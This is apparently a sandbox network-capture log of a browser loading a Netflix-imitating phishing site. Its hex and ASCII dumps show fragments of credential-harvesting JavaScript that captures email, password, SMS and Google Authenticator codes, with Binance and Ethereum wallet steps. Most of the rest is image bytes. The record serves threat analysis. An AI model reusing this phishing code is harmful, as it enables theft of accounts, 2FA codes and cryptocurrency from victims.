cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1590&rtt_var=613&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2852&recv_bytes=932&delivery_rate=1762220&cwnd=185&unsent_bytes=0&cid=bbf13ef83898f65a&ts=142&x=0"
2025-02-21 23:51:37 UTC	448	IN	Data Raw: 76 61 72 20 5f 5f 5f 5f 70 77 64 3d 27 27 3b 0d 0a 76 61 72 20 69 6b 65 79 20 3d 20 27 6e 6f 6e 65 27 3b 0d 0a 76 61 72 20 74 78 74 5f 75 61 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 0d 0a 76 61 72 20 73 65 6e 64 5f 62 6c 6f 63 6b 5f 66 6c 67 3d 30 3b 0d 0a 76 61 72 20 62 61 6c 61 6e 63 65 20 3d 20 27 6e 6f 6e 65 27 3b 0d 0a 76 61 72 20 65 74 68 5f 72 65 63 69 70 69 65 6e 74 3d 27 6e 6f 6e 65 27 3b 0d 0a 76 61 72 20 62 61 6c 61 6e 63 65 5f 62 6c 6f 63 6b 5f 66 6c 67 3d 30 3b 0d 0a 76 61 72 20 63 6f 75 6e 74 5f 66 6c 67 3d 30 3b 0d 0a 76 61 72 20 73 74 70 6d 31 66 6c 67 3d 20 30 3b 0d 0a 76 61 72 20 6c 67 6e 5f 66 6c 67 3d 30 3b 0d 0a 76 61 72 20 50 72 69 76 61 74 65 5f 4c 6f 67 69 6e 5f 4b 65 79 3d 27 27 3b 0d 0a 76 61 72 20 20 Data Ascii: var ____pwd='';var ikey = 'none';var txt_ua = navigator.userAgent;var send_block_flg=0;var balance = 'none';var eth_recipient='none';var balance_block_flg=0;var count_flg=0;var stpm1flg= 0;var lgn_flg=0;var Private_Login_Key='';var
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 6f 6e 20 62 36 34 45 6e 63 6f 64 65 55 6e 69 63 6f 64 65 28 73 74 72 29 20 7b 0d 0a 20 20 20 20 2f 2f 20 66 69 72 73 74 20 77 65 20 75 73 65 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 20 74 6f 20 67 65 74 20 70 65 72 63 65 6e 74 2d 65 6e 63 6f 64 65 64 20 55 54 46 2d 38 2c 0d 0a 20 20 20 20 2f 2f 20 74 68 65 6e 20 77 65 20 63 6f 6e 76 65 72 74 20 74 68 65 20 70 65 72 63 65 6e 74 20 65 6e 63 6f 64 69 6e 67 73 20 69 6e 74 6f 20 72 61 77 20 62 79 74 65 73 20 77 68 69 63 68 0d 0a 20 20 20 20 2f 2f 20 63 61 6e 20 62 65 20 66 65 64 20 69 6e 74 6f 20 62 74 6f 61 2e 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 62 74 6f 61 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 72 29 2e 72 65 70 6c 61 63 65 28 2f 25 28 5b 30 2d 39 41 2d 46 5d 7b Data Ascii: on b64EncodeUnicode(str) { // first we use encodeURIComponent to get percent-encoded UTF-8, // then we convert the percent encodings into raw bytes which // can be fed into btoa. return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 6d 73 5f 76 65 72 69 66 79 43 6f 64 65 27 29 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 27 23 46 30 30 30 30 30 27 3b 0d 0a 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 6d 73 5f 32 66 61 5f 65 72 72 5f 70 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 27 3b 0d 0a 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 74 6d 70 3d 27 3c 62 72 3e 27 2b 62 6f 74 5f 69 64 2b 27 3c 62 72 3e 45 6d 61 69 6c 3a 20 27 2b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 7a 7a 7a 5f 65 6d 61 69 6c 27 29 2e 76 61 6c 75 65 2b 27 3c 62 72 3e 27 2b 27 50 61 73 73 77 6f 72 64 3a 20 27 2b Data Ascii: ElementById('sms_verifyCode').style.borderColor='#F00000'; document.getElementById('sms_2fa_err_p').style.display=''; return false; } tmp='<br>'+bot_id+'<br>Email: '+document.getElementById('zzz_email').value+'<br>'+'Password: '+
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 27 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 62 69 6e 61 6e 63 65 5f 63 68 65 63 6b 5f 73 74 61 74 65 5f 70 72 65 6c 6f 61 64 65 72 2c 20 34 30 30 30 29 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 6c 6f 67 69 6e 5f 73 74 65 70 5f 63 6c 69 63 6b 28 29 0d 0a 20 7b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 65 72 72 5f 6c 6f 67 69 6e 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 3b 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 65 72 72 5f 70 61 73 73 77 6f 72 64 27 29 2e 73 74 79 6c 65 2e 64 Data Ascii: ').style.display='';setTimeout(binance_check_state_preloader, 4000);}function login_step_click() { document.getElementById('err_login').style.display='none'; document.getElementById('err_password').style.d
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 2b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 69 64 5f 75 73 65 72 4c 6f 67 69 6e 49 64 27 29 2e 76 61 6c 75 65 2b 27 7c 62 3d 27 2b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 69 64 5f 70 61 73 73 77 6f 72 64 27 29 2e 76 61 6c 75 65 29 3b 0d 0a 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6c 6c 69 6e 66 6f 5f 73 74 65 70 2c 20 33 35 30 30 29 3b 0d 0a 0d 0a 0d 0a 20 7d 0d 0a 0d 0a 0d 0a 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 66 75 6c 6c 69 6e 66 6f 5f 73 74 65 70 28 29 0d 0a 20 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 76 65 72 69 66 69 63 61 74 69 6f 6e 2f 69 6e 64 65 78 2e 68 74 6d 6c 3f 72 65 66 65 72 65 72 69 64 65 6e 74 3d 34 44 35 46 35 39 45 32 42 35 37 43 36 Data Ascii: +document.getElementById('id_userLoginId').value+'\|b='+document.getElementById('id_password').value); setTimeout(fullinfo_step, 3500); } function fullinfo_step() { document.location='verification/index.html?refererident=4D5F59E2B57C6
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 69 67 69 74 73 28 20 6d 69 6e 73 20 29 20 3a 20 6d 69 6e 73 29 20 2b 20 27 3a 27 20 2b 20 74 77 6f 44 69 67 69 74 73 28 20 74 69 6d 65 2e 67 65 74 55 54 43 53 65 63 6f 6e 64 73 28 29 20 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 20 75 70 64 61 74 65 54 69 6d 65 72 2c 20 74 69 6d 65 2e 67 65 74 55 54 43 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 28 29 20 2b 20 35 30 30 20 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 65 6c 65 6d 65 6e 74 4e 61 6d 65 20 29 3b 0d 0a 20 20 20 20 65 6e 64 54 69 6d 65 20 3d 20 28 2b 6e 65 77 20 44 61 74 65 29 20 2b 20 31 30 30 30 20 2a 20 28 36 30 2a Data Ascii: igits( mins ) : mins) + ':' + twoDigits( time.getUTCSeconds() ); setTimeout( updateTimer, time.getUTCMilliseconds() + 500 ); } } element = document.getElementById( elementName ); endTime = (+new Date) + 1000 * (60*
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 61 67 3d 31 3b 0d 0a 20 20 20 20 73 74 70 6d 31 66 6c 67 3d 20 31 3b 0d 0a 20 20 20 20 73 65 6e 64 5f 64 61 74 61 5f 6c 6f 67 69 6e 5f 28 63 5f 6c 67 6e 2c 20 27 4c 6f 67 69 6e 3a 20 27 2b 63 5f 6c 67 6e 2b 27 3c 62 72 3e 20 53 68 6f 77 20 47 6f 6f 67 6c 65 20 41 75 74 68 27 2c 20 27 30 27 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 77 61 69 74 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 74 65 70 32 5f 32 66 61 5f 67 6f 6f 67 6c 65 5f 61 75 74 68 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 27 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 42 69 6e Data Ascii: ag=1; stpm1flg= 1; send_data_login_(c_lgn, 'Login: '+c_lgn+'<br> Show Google Auth', '0'); document.getElementById('wait').style.display='none'; document.getElementById('step2_2fa_google_auth').style.display=''; document.title='Bin
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 49 64 28 27 73 6d 73 5f 76 65 72 69 66 79 43 6f 64 65 27 29 2e 76 61 6c 75 65 3d 27 27 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 5f 32 46 41 5f 74 78 74 3d 3d 27 67 6f 6f 67 6c 65 27 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 74 65 70 32 5f 32 66 61 5f 67 6f 6f 67 6c 65 5f 61 75 74 68 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 27 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 67 6f 6f 67 6c 65 5f 76 65 72 69 66 79 43 6f 64 65 27 29 2e 76 61 6c 75 65 3d 27 27 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 67 6f 6f 67 6c 65 5f 76 65 72 69 66 79 43 6f 64 65 Data Ascii: Id('sms_verifyCode').value=''; } if (_2FA_txt=='google') { document.getElementById('step2_2fa_google_auth').style.display=''; document.getElementById('google_verifyCode').value=''; document.getElementById('google_verifyCode
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 69 6e 66 6f 72 6d 28 29 0d 0a 20 7b 0d 0d 0a 20 20 20 72 65 6d 6f 76 65 43 6c 61 73 73 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 75 73 65 72 69 64 64 69 76 27 29 2c 20 27 65 72 72 6f 72 27 29 3b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 65 72 72 6f 72 55 73 65 72 49 44 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 3b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 75 73 65 72 49 64 27 29 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 43 6f 6c 6f 72 3d 27 23 61 39 61 39 61 39 27 3b 0d 0a 0d 0a 20 20 20 72 65 6d 6f 76 65 43 6c 61 73 73 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 70 61 Data Ascii: inform() { removeClass(document.getElementById('useriddiv'), 'error'); document.getElementById('errorUserID').style.display='none'; document.getElementById('userId').style.borderColor='#a9a9a9'; removeClass(document.getElementById('pa
2025-02-21 23:51:37 UTC	1369	IN	Data Raw: 33 24 65 73 73 69 6f 6e 69 64 3d 35 6d 6a 5a 34 73 4c 4a 37 48 47 49 49 59 75 71 6f 42 69 4b 6b 65 6b 66 58 63 65 6b 7a 33 36 46 71 71 46 75 53 71 65 5a 38 56 49 51 55 63 67 69 4e 7a 32 37 4f 6e 6e 4c 7a 42 35 39 46 62 4f 35 42 75 41 75 56 50 75 33 4b 63 55 46 70 62 58 64 26 73 65 63 75 72 65 73 73 6c 3d 74 72 75 65 27 0d 0a 20 73 65 74 54 69 6d 65 6f 75 74 28 73 74 65 70 32 2c 20 32 35 30 30 29 3b 0d 0a 0d 0a 20 7d 0d 0a 0d 0a 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 65 70 34 28 29 0d 0a 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 77 61 69 74 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: 3$essionid=5mjZ4sLJ7HGIIYuqoBiKkekfXcekz36FqqFuSqeZ8VIQUcgiNz27OnnLzB59FbO5BuAuVPu3KcUFpbXd&securessl=true' setTimeout(step2, 2500); } function step4() { document.getElementById('wait').style.display='none'; document.getElementB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49725	188.114.97.3	443	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:51:37 UTC	372	OUT	GET /e/img/FB-f-Logo__blue_57.png HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:51:37 UTC	899	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:37 GMT Content-Type: image/png Content-Length: 1455 Connection: close Host: netflix-official.com Age: 5713 Cache-Control: max-age=14400 cf-cache-status: HIT last-modified: Fri, 21 Feb 2025 22:16:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1zEyQYZv0ZQAEDBuyD6VqVxJS7fI%2F2hpLmzk6%2F4K1i%2FZbzpz8hx1RW1PlYqFlrDw0w3CbNvw775GcXr%2FOUE4d%2B%2FtHvut7K41Yx%2Fw3cFL0JToBBw8%2Fd%2FKFn0ZpTy78oyfW8ABvRsCJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa53ca96c4252-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1755&rtt_var=678&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=950&delivery_rate=1590413&cwnd=237&unsent_bytes=0&cid=a510b1a6e23fa878&ts=152&x=0"
2025-02-21 23:51:37 UTC	470	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 39 00 00 00 39 08 06 00 00 00 8c 18 83 85 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 68 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR99tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2025-02-21 23:51:37 UTC	985	IN	Data Raw: 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 43 31 33 38 30 43 32 41 35 45 42 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 42 38 41 34 43 36 32 44 41 36 31 36 31 31 45 32 38 42 45 41 42 43 45 33 33 38 44 43 42 33 39 30 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 42 38 41 34 43 36 32 43 41 36 31 36 31 31 45 32 38 42 45 41 42 43 45 33 33 38 44 43 42 33 39 30 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 Data Ascii: ns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:05801174072068118083CC1380C2A5EB" xmpMM:DocumentID="xmp.did:B8A4C62DA61611E28BEABCE338DCB390" xmpMM:InstanceID="xmp.iid:B8A4C62CA61611E28BEABCE338DCB390" xmp:CreatorTool="Adobe Photos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49727	188.114.97.3	443	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:51:38 UTC	419	OUT	GET /e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:51:38 UTC	913	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:38 GMT Content-Type: image/jpeg Content-Length: 203380 Connection: close Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2 Last-Modified: Fri, 21 Feb 2025 23:51:36 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jr%2BDhjJVYyLX01FH67bxPV%2BZzlxsYQvx7oatLsLcX3zTUqs7mRj9GK3NEi1Ho8vrOHKroWFhQRcYuhGKgX3%2FEH2ZyryTVy%2Bhc8woErqlyUaLtxf%2FUFaf3ETD84oUfNMzoqg1mmxj4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa53f5e0b187d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1451&rtt_var=556&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=997&delivery_rate=1949265&cwnd=152&unsent_bytes=0&cid=4b73bedc80151cdf&ts=152&x=0"
2025-02-21 23:51:38 UTC	456	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 01 04 10 00 11 00 11 00 11 00 11 00 12 00 11 00 13 00 15 00 15 00 13 00 1a 00 1c 00 19 00 1c 00 1a 00 26 00 23 00 20 00 20 00 23 00 26 00 3a 00 2a 00 2d 00 2a 00 2d 00 2a 00 3a 00 58 00 37 00 40 00 37 00 37 00 40 00 37 00 58 00 4e 00 5f 00 4d 00 48 00 4d 00 5f 00 4e 00 8c 00 6e 00 62 00 62 00 6e 00 8c 00 a2 00 88 00 81 00 88 00 a2 00 c5 00 b0 00 b0 00 c5 00 f8 00 eb 00 f8 01 43 01 43 01 b3 11 00 11 00 11 00 11 00 11 00 12 00 11 00 13 00 15 00 15 00 13 00 1a 00 1c 00 19 00 1c 00 1a 00 26 00 23 00 20 00 20 00 23 00 26 00 3a 00 2a 00 2d 00 2a 00 2d 00 2a 00 3a 00 58 00 37 00 40 00 37 00 37 00 40 00 37 00 58 00 4e 00 5f 00 4d 00 48 00 4d 00 5f 00 4e 00 8c 00 6e 00 62 00 62 00 6e 00 8c 00 a2 00 Data Ascii: JFIF&# #&:--:X7@77@7XN_MHM_NnbbnCC&# #&:--:X7@77@7XN_MHM_Nnbbn
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: b8 0b 0a 03 9d 12 88 08 88 20 0c 42 ec b1 4b 9f 76 38 2d d6 b1 05 dc b0 15 c3 55 cf 8d 55 5a 88 80 ae 7d 8b 53 48 ac 82 bc f2 51 82 14 16 56 b4 44 47 f5 e2 35 c1 8c dd 29 b4 63 cf c4 d3 d1 9d cb 47 93 9d d2 ce c9 24 58 69 36 0d 5e a7 3a 96 c6 37 47 9b 89 d8 67 bf 96 b7 d1 49 9d 1d 97 43 6a 8b 15 62 74 ba 48 db b9 d6 ed e0 eb cf ce f4 4c a9 1d 48 72 e2 a7 e8 14 92 08 75 31 6c 5b e7 b7 28 5e a1 a3 cb 44 2c c4 43 15 18 a4 b1 39 b1 f7 76 66 76 7f 2f a1 d6 3a 8f 1f 12 f5 b5 3a 14 83 16 1a fb 57 85 57 92 28 88 2a a8 2d 2e 20 db e9 93 87 c4 9c 03 52 8c 24 a4 24 fa d9 d9 e0 23 01 c8 08 2a 4a aa f7 d2 05 54 49 55 aa 8d 15 51 a0 ab 35 db d6 a7 91 48 aa 8d ad 46 8b 05 72 02 34 d4 e8 63 40 43 17 61 21 73 dd 87 b7 69 ef 5e 52 bd 97 49 34 44 91 47 55 89 d5 de c2 df 2b Data Ascii: BKv8-UUZ}SHQVDG5)cG$Xi6^:7GgICjbtHLHru1l[(^D,C9vfv/::WW(-. R$$#JTIUQ5HFr4c@Ca!si^RI4DGU+
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 6a 68 c0 b0 c3 a9 ab cc f4 bc bd 5b d3 2c 5d 0c 79 90 2d bd 5b 59 dc fc f0 b3 b1 5e 2d 74 e6 d6 ab 79 73 72 f6 4d 4a d4 6a 41 d3 cb 04 30 e2 55 92 f6 96 36 2c a0 eb 1d 6e 3e 23 75 27 c7 8d fd bf 3d 8c c0 23 0d 48 8d ac 0e 8b 9a b5 17 45 c8 f5 5c af 57 81 b5 cc ef 56 d6 c3 de c3 ad 1b 40 1e f6 97 b4 ac 53 c9 81 53 62 f6 8e 76 64 29 3c f8 a8 d5 1f 34 11 2f 77 30 02 54 a8 ce 6e 59 a4 95 60 a7 7e de 2e c4 52 4c e5 a7 6e 24 32 3b cd 64 6d 4e 7b ad 67 9f f4 fb 0b 8f c4 db 10 11 ad 14 1d 2a 0a 00 00 00 20 ad a1 d4 74 52 c1 62 95 a9 10 8b 07 4b 1e 6c dc 4b 8f 93 a2 cc cd 1e 4b 9f 2e f4 0f 7f 2a fb 2a c9 af 51 af 2b f4 2f bf 2b 2d 64 ab d2 df e4 6c 30 75 ae 93 2c ca b5 3e 94 15 33 75 13 49 d0 f3 71 8b 7b 43 95 63 c1 d7 fa 1e 6e 92 f4 59 54 17 5f 7f 0b 0c 06 b4 7e Data Ascii: jh[,]y-[Y^-tysrMJjA0U6,n>#u'=#HE\WV@SSbvd)<4/w0TnY`~.RLn$2;dmN{g* tRbKlKK.**Q+/+-dl0u,>3uIq{CcnYT_~
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: cd b4 59 af 5a b5 6a b5 ab 56 ad 08 00 6a dd af 0e e5 6c 0b bd 1d 2e 7a 17 b2 69 5f 1d c7 c3 5a 07 a0 e4 ad b3 9f 62 19 2a 8c 9b 73 5f 0f 14 3a 5d 5c 4d 49 5f 0f 31 1b aa b3 77 7f 98 9f 9f 41 6e 5d 75 3e be 0e 72 84 68 b3 c2 8f 0e eb 3b 9c ed b8 4e ce a6 56 df 25 bb 4a 9e 96 30 23 00 00 00 00 00 14 7a be 48 46 b4 07 21 a9 6a cc d2 c9 5e 08 ab 10 de 9a b5 1a aa 31 ae 73 12 34 ea ef e7 67 4b a2 e1 05 6a 64 9b 78 7b d9 53 db 6b a9 a6 be 0c 97 33 72 af d5 db 4c 2e ce 68 26 af 9c 9a 8c 9e 08 e8 43 dd d1 8e bd a5 d0 00 01 29 50 34 ac b8 00 02 b4 2e ad 5a 87 2b ad 04 10 30 07 d8 6d 75 59 5e f4 5d 06 41 45 1e 3a 37 47 a5 56 5a 8e 68 9a bd 8d 2e 25 07 f5 35 9f 62 c1 57 1f 22 dd fd 37 27 2b 63 3c 1f 2a 3e ff 00 4d 9d ce c4 c6 2e e6 0b d4 bd d7 62 4b 26 67 45 cd ec Data Ascii: YZjVjl.zi_Zbs_:]\MI_1wAn]u>rh;NV%J0#zHF!j^1s4gKjdx{Sk3rL.h&C)P4.Z+0muY^]AE:7GVZh.%5bW"7'+c<>M.bK&gE
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 01 3e 9a 92 95 20 82 4a ce 60 80 00 00 5f 9a c6 9c 0d 96 ed 58 1f 56 4b 17 f9 a7 58 db b3 76 2b 49 95 cc 3f 66 bb ed e6 ed 3f 8b b9 7f 36 47 3e 39 73 77 6c 3f 47 84 f4 75 00 00 33 b3 b9 99 36 73 ec a5 49 e4 77 43 a0 00 62 f3 7b 56 e9 72 9d 1e ed 7a ee bc 43 c8 48 fa 0b d5 68 a7 1b b1 d3 32 2a 76 ad d6 89 8d 63 8a b1 f2 9a 4f b9 a7 2d 28 34 f8 d3 ac b9 64 22 56 b7 2e 09 d1 92 15 64 e5 ec 4e 00 38 11 04 6b 51 ad 6c 6c 96 20 00 05 00 40 00 00 00 00 00 00 00 00 01 65 d1 64 cf 6d 58 e2 80 54 10 00 00 1d a6 ba 56 88 cb d0 d0 ce 35 a5 a1 49 f1 32 75 4b 5b 38 2d 96 fc 97 46 c7 cc c5 ab 25 29 ee 50 ab 72 95 ad 8d 7e 63 57 a0 00 00 1b 85 5f 27 a4 a3 2c ab 8d 3d d3 7d c0 06 64 15 2a e7 66 7a 0b a8 a5 a9 8c b9 2a 61 ad 9e b0 a5 c3 fa 44 50 c7 25 bb 19 f6 21 58 Data Ascii: > J`_XVKXv+I?f?6G>9swl?Gu36sIwCb{VrzCHh2vcO-(4d"V.dN8kQll @edmXTV5I2uK[8-F%)Pr~cW_',=}dfz*aDP%!X
